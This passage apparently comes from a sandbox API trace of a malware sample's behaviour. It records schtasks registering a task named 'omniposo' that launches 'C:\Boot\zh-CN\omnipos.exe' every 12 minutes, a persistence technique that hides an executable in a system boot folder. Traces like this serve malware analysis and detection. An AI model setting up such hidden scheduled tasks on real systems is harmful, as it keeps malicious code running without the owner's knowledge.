() returned 0x350000 [0089.952] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x1fc) returned 0x36d370 [0089.952] GetProcessHeap () returned 0x350000 [0089.952] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dce0 [0089.952] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.952] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0089.952] lstrlenW (lpString="First") returned 5 [0089.952] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xc) returned 0x36e580 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dcb0 [0089.953] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.953] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0089.953] lstrlenW (lpString="Second") returned 6 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36e5a0 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dc80 [0089.953] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.953] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0089.953] lstrlenW (lpString="Third") returned 5 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xc) returned 0x36e5c0 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dc50 [0089.953] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.953] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0089.953] lstrlenW (lpString="Fourth") returned 6 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36e5e0 [0089.953] GetProcessHeap () returned 0x350000 [0089.953] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dc20 [0089.953] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.953] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0089.953] lstrlenW (lpString="Last") returned 4 [0089.954] GetProcessHeap () returned 0x350000 [0089.954] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xa) returned 0x36e600 [0089.954] lstrlenW (lpString="12") returned 2 [0089.954] _wtol (_String="12") returned 12 [0089.954] GetProcessHeap () returned 0x350000 [0089.954] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dbf0 [0089.954] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.954] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0089.954] lstrlenW (lpString="First") returned 5 [0089.954] GetProcessHeap () returned 0x350000 [0089.954] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xc) returned 0x36e620 [0089.954] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.954] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0089.954] lstrlenW (lpString="Second") returned 6 [0089.954] GetProcessHeap () returned 0x350000 [0089.954] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36e640 [0089.954] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.954] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0089.954] lstrlenW (lpString="Third") returned 5 [0089.954] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.954] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0089.954] lstrlenW (lpString="Fourth") returned 6 [0089.955] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.955] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0089.955] lstrlenW (lpString="Last") returned 4 [0089.955] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c6e0, cchData=128 | out: lpLCData="0") returned 2 [0089.955] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.955] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0089.955] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0089.955] GetProcessHeap () returned 0x350000 [0089.955] GetProcessHeap () returned 0x350000 [0089.955] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e580) returned 1 [0089.955] GetProcessHeap () returned 0x350000 [0089.955] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e580) returned 0xc [0089.955] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e580 | out: hHeap=0x350000) returned 1 [0089.955] GetProcessHeap () returned 0x350000 [0089.955] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x16) returned 0x36e580 [0089.955] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c700, cchData=128 | out: lpLCData="0") returned 2 [0089.955] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.955] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0089.955] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0089.955] GetProcessHeap () returned 0x350000 [0089.955] GetProcessHeap () returned 0x350000 [0089.955] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5a0) returned 1 [0089.955] GetProcessHeap () returned 0x350000 [0089.956] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e5a0) returned 0xe [0089.956] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5a0 | out: hHeap=0x350000) returned 1 [0089.956] GetProcessHeap () returned 0x350000 [0089.956] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x16) returned 0x36e5a0 [0089.956] GetLocalTime (in: lpSystemTime=0x19c930 | out: lpSystemTime=0x19c930*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xe, wMilliseconds=0x136)) [0089.956] lstrlenW (lpString="") returned 0 [0089.956] GetLocalTime (in: lpSystemTime=0x19d1e8 | out: lpSystemTime=0x19d1e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xe, wMilliseconds=0x136)) [0089.956] lstrlenW (lpString="") returned 0 [0089.956] lstrlenW (lpString="") returned 0 [0089.956] lstrlenW (lpString="") returned 0 [0089.956] lstrlenW (lpString="") returned 0 [0089.956] lstrlenW (lpString="12") returned 2 [0089.956] _wtol (_String="12") returned 12 [0089.956] lstrlenW (lpString="") returned 0 [0089.956] lstrlenW (lpString="") returned 0 [0089.956] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0090.032] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0090.204] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19cfb0 | out: ppv=0x19cfb0*=0x45dee0) returned 0x0 [0090.218] TaskScheduler:ITaskService:Connect (This=0x45dee0, serverName=0x19d090*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0090.357] TaskScheduler:IUnknown:AddRef (This=0x45dee0) returned 0x2 [0090.357] TaskScheduler:ITaskService:GetFolder (in: This=0x45dee0, Path=0x0, ppFolder=0x19d148 | out: ppFolder=0x19d148*=0x257ca0) returned 0x0 [0090.361] TaskScheduler:ITaskService:NewTask (in: This=0x45dee0, flags=0x0, ppDefinition=0x19d140 | out: ppDefinition=0x19d140*=0x257cf0) returned 0x0 [0090.361] ITaskDefinition:get_Actions (in: This=0x257cf0, ppActions=0x19d0c0 | out: ppActions=0x19d0c0*=0x257db0) returned 0x0 [0090.361] IActionCollection:Create (in: This=0x257db0, Type=0, ppAction=0x19d0e0 | out: ppAction=0x19d0e0*=0x256140) returned 0x0 [0090.362] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.362] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.362] lstrlenW (lpString=" ") returned 1 [0090.362] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0090.362] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0090.363] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0090.363] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0090.363] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0090.363] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0090.363] IUnknown:Release (This=0x256140) returned 0x1 [0090.363] IUnknown:Release (This=0x257db0) returned 0x1 [0090.363] ITaskDefinition:get_Triggers (in: This=0x257cf0, ppTriggers=0x19cc40 | out: ppTriggers=0x19cc40*=0x257ef0) returned 0x0 [0090.363] ITriggerCollection:Create (in: This=0x257ef0, Type=1, ppTrigger=0x19cc38 | out: ppTrigger=0x19cc38*=0x2561b0) returned 0x0 [0090.363] lstrlenW (lpString="12") returned 2 [0090.363] _vsnwprintf (in: _Buffer=0x19cbc0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x19cbb8 | out: _Buffer="PT12M") returned 5 [0090.364] ITrigger:get_Repetition (in: This=0x2561b0, ppRepeat=0x19cc30 | out: ppRepeat=0x19cc30*=0x256240) returned 0x0 [0090.364] IRepetitionPattern:put_Interval (This=0x256240, Interval="PT12M") returned 0x0 [0090.364] IUnknown:Release (This=0x256240) returned 0x1 [0090.364] _vsnwprintf (in: _Buffer=0x19cb80, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19cb58 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0090.364] ITrigger:put_StartBoundary (This=0x2561b0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0090.364] lstrlenW (lpString="") returned 0 [0090.364] lstrlenW (lpString="") returned 0 [0090.364] lstrlenW (lpString="") returned 0 [0090.364] lstrlenW (lpString="") returned 0 [0090.364] IUnknown:Release (This=0x2561b0) returned 0x1 [0090.364] IUnknown:Release (This=0x257ef0) returned 0x1 [0090.364] ITaskDefinition:get_Settings (in: This=0x257cf0, ppSettings=0x19d0e0 | out: ppSettings=0x19d0e0*=0x255f80) returned 0x0 [0090.365] lstrlenW (lpString="") returned 0 [0090.365] IUnknown:Release (This=0x255f80) returned 0x1 [0090.365] GetLocalTime (in: lpSystemTime=0x19cf98 | out: lpSystemTime=0x19cf98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xe, wMilliseconds=0x2cc)) [0090.365] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0090.365] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0090.365] GetUserNameW (in: lpBuffer=0x19cfc0, pcbBuffer=0x19cfa8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19cfa8) returned 1 [0090.366] ITaskDefinition:get_RegistrationInfo (in: This=0x257cf0, ppRegistrationInfo=0x19cf90 | out: ppRegistrationInfo=0x19cf90*=0x257e30) returned 0x0 [0090.366] IRegistrationInfo:put_Author (This=0x257e30, Author="") returned 0x0 [0090.366] _vsnwprintf (in: _Buffer=0x19cfc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19cf58 | out: _Buffer="2023-09-19T17:17:14") returned 19 [0090.366] IRegistrationInfo:put_Date (This=0x257e30, Date="") returned 0x0 [0090.366] IUnknown:Release (This=0x257e30) returned 0x1 [0090.366] malloc (_Size=0x18) returned 0x2562c0 [0090.366] free (_Block=0x2562c0) [0090.367] lstrlenW (lpString="") returned 0 [0090.367] malloc (_Size=0x18) returned 0x2562c0 [0090.367] ITaskFolder:RegisterTaskDefinition (in: This=0x257ca0, Path="omniposo", pDefinition=0x257cf0, flags=6, UserId=0x19d230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19f140, varVal2=0xfe), LogonType=3, sddl=0x19d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19d150 | out: ppTask=0x19d150*=0x256460) returned 0x0 [0090.766] free (_Block=0x2562c0) [0090.766] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.766] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0090.766] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0090.766] GetProcessHeap () returned 0x350000 [0090.766] GetProcessHeap () returned 0x350000 [0090.767] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5c0) returned 1 [0090.767] GetProcessHeap () returned 0x350000 [0090.767] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e5c0) returned 0xc [0090.767] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e5c0 | out: hHeap=0x350000) returned 1 [0090.767] GetProcessHeap () returned 0x350000 [0090.767] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x82) returned 0x38a560 [0090.767] _vsnwprintf (in: _Buffer=0x19d890, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19d0f8 | out: _Buffer="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0090.767] _fileno (_File=0x7feffe22ab0) returned -2 [0090.767] _errno () returned 0x254bb0 [0090.767] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0090.767] SetLastError (dwErrCode=0x6) [0090.767] lstrlenW (lpString="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0090.767] GetConsoleOutputCP () returned 0x0 [0090.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0090.767] GetConsoleOutputCP () returned 0x0 [0090.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0090.767] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0090.768] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0090.768] IUnknown:Release (This=0x256460) returned 0x0 [0090.768] TaskScheduler:IUnknown:Release (This=0x257cf0) returned 0x0 [0090.768] TaskScheduler:IUnknown:Release (This=0x257ca0) returned 0x0 [0090.768] TaskScheduler:IUnknown:Release (This=0x45dee0) returned 0x1 [0090.768] lstrlenW (lpString="") returned 0 [0090.768] lstrlenW (lpString="12") returned 2 [0090.768] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0090.768] GetProcessHeap () returned 0x350000 [0090.768] GetProcessHeap () returned 0x350000 [0090.768] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d370) returned 1 [0090.768] GetProcessHeap () returned 0x350000 [0090.768] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d370) returned 0x1fc [0090.769] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d370 | out: hHeap=0x350000) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba10) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba10) returned 0x6 [0090.769] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba10 | out: hHeap=0x350000) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e520) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e520) returned 0x16 [0090.769] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e520 | out: hHeap=0x350000) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e500) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e500) returned 0x18 [0090.769] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e500 | out: hHeap=0x350000) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd70) returned 1 [0090.769] GetProcessHeap () returned 0x350000 [0090.769] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dd70) returned 0x20 [0090.770] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd70 | out: hHeap=0x350000) returned 1 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cff0) returned 1 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cff0) returned 0xa0 [0090.770] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cff0 | out: hHeap=0x350000) returned 1 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cfd0) returned 1 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cfd0) returned 0x18 [0090.770] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cfd0 | out: hHeap=0x350000) returned 1 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] GetProcessHeap () returned 0x350000 [0090.770] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36db30) returned 1 [0090.771] GetProcessHeap () returned 0x350000 [0090.771] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36db30) returned 0x20 [0090.771] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36db30 | out: hHeap=0x350000) returned 1 [0090.771] GetProcessHeap () returned 0x350000 [0090.771] GetProcessHeap () returned 0x350000 [0090.771] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367bf0) returned 1 [0090.771] GetProcessHeap () returned 0x350000 [0090.771] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367bf0) returned 0x38 [0090.772] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367bf0 | out: hHeap=0x350000) returned 1 [0090.772] GetProcessHeap () returned 0x350000 [0090.772] GetProcessHeap () returned 0x350000 [0090.772] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e540) returned 1 [0090.772] GetProcessHeap () returned 0x350000 [0090.772] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e540) returned 0x18 [0090.772] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e540 | out: hHeap=0x350000) returned 1 [0090.772] GetProcessHeap () returned 0x350000 [0090.772] GetProcessHeap () returned 0x350000 [0090.772] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36db00) returned 1 [0090.772] GetProcessHeap () returned 0x350000 [0090.772] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36db00) returned 0x20 [0090.772] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36db00 | out: hHeap=0x350000) returned 1 [0090.773] GetProcessHeap () returned 0x350000 [0090.773] GetProcessHeap () returned 0x350000 [0090.773] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x368180) returned 1 [0090.773] GetProcessHeap () returned 0x350000 [0090.773] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x368180) returned 0x3a [0090.773] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368180 | out: hHeap=0x350000) returned 1 [0090.773] GetProcessHeap () returned 0x350000 [0090.773] GetProcessHeap () returned 0x350000 [0090.773] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e4e0) returned 1 [0090.773] GetProcessHeap () returned 0x350000 [0090.773] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36e4e0) returned 0x18 [0090.774] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36e4e0 | out: hHeap=0x350000) returned 1 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dad0) returned 1 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dad0) returned 0x20 [0090.774] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dad0 | out: hHeap=0x350000) returned 1 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d350) returned 1 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d350) returned 0xe [0090.774] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d350 | out: hHeap=0x350000) returned 1 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d330) returned 1 [0090.774] GetProcessHeap () returned 0x350000 [0090.774] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d330) returned 0x18 [0090.775] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d330 | out: hHeap=0x350000) returned 1 [0090.775] GetProcessHeap () returned 0x350000 [0090.775] GetProcessHeap () returned 0x350000 [0090.775] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365e00) returned 1 [0090.775] GetProcessHeap () returned 0x350000 [0090.775] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365e00) returned 0x20 [0090.775] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365e00 | out: hHeap=0x350000) returned 1 [0090.775] GetProcessHeap () returned 0x350000 [0090.775] GetProcessHeap () returned 0x350000 [0090.775] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cbd0) returned 1 [0090.775] GetProcessHeap () returned 0x350000 [0090.775] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cbd0) returned 0x208 [0090.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cbd0 | out: hHeap=0x350000) returned 1 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cbb0) returned 1 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cbb0) returned 0x18 [0090.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cbb0 | out: hHeap=0x350000) returned 1 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365d10) returned 1 [0090.776] GetProcessHeap () returned 0x350000 [0090.776] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365d10) returned 0x20 [0090.776] HeapFree (in: hHeap=0x350000, 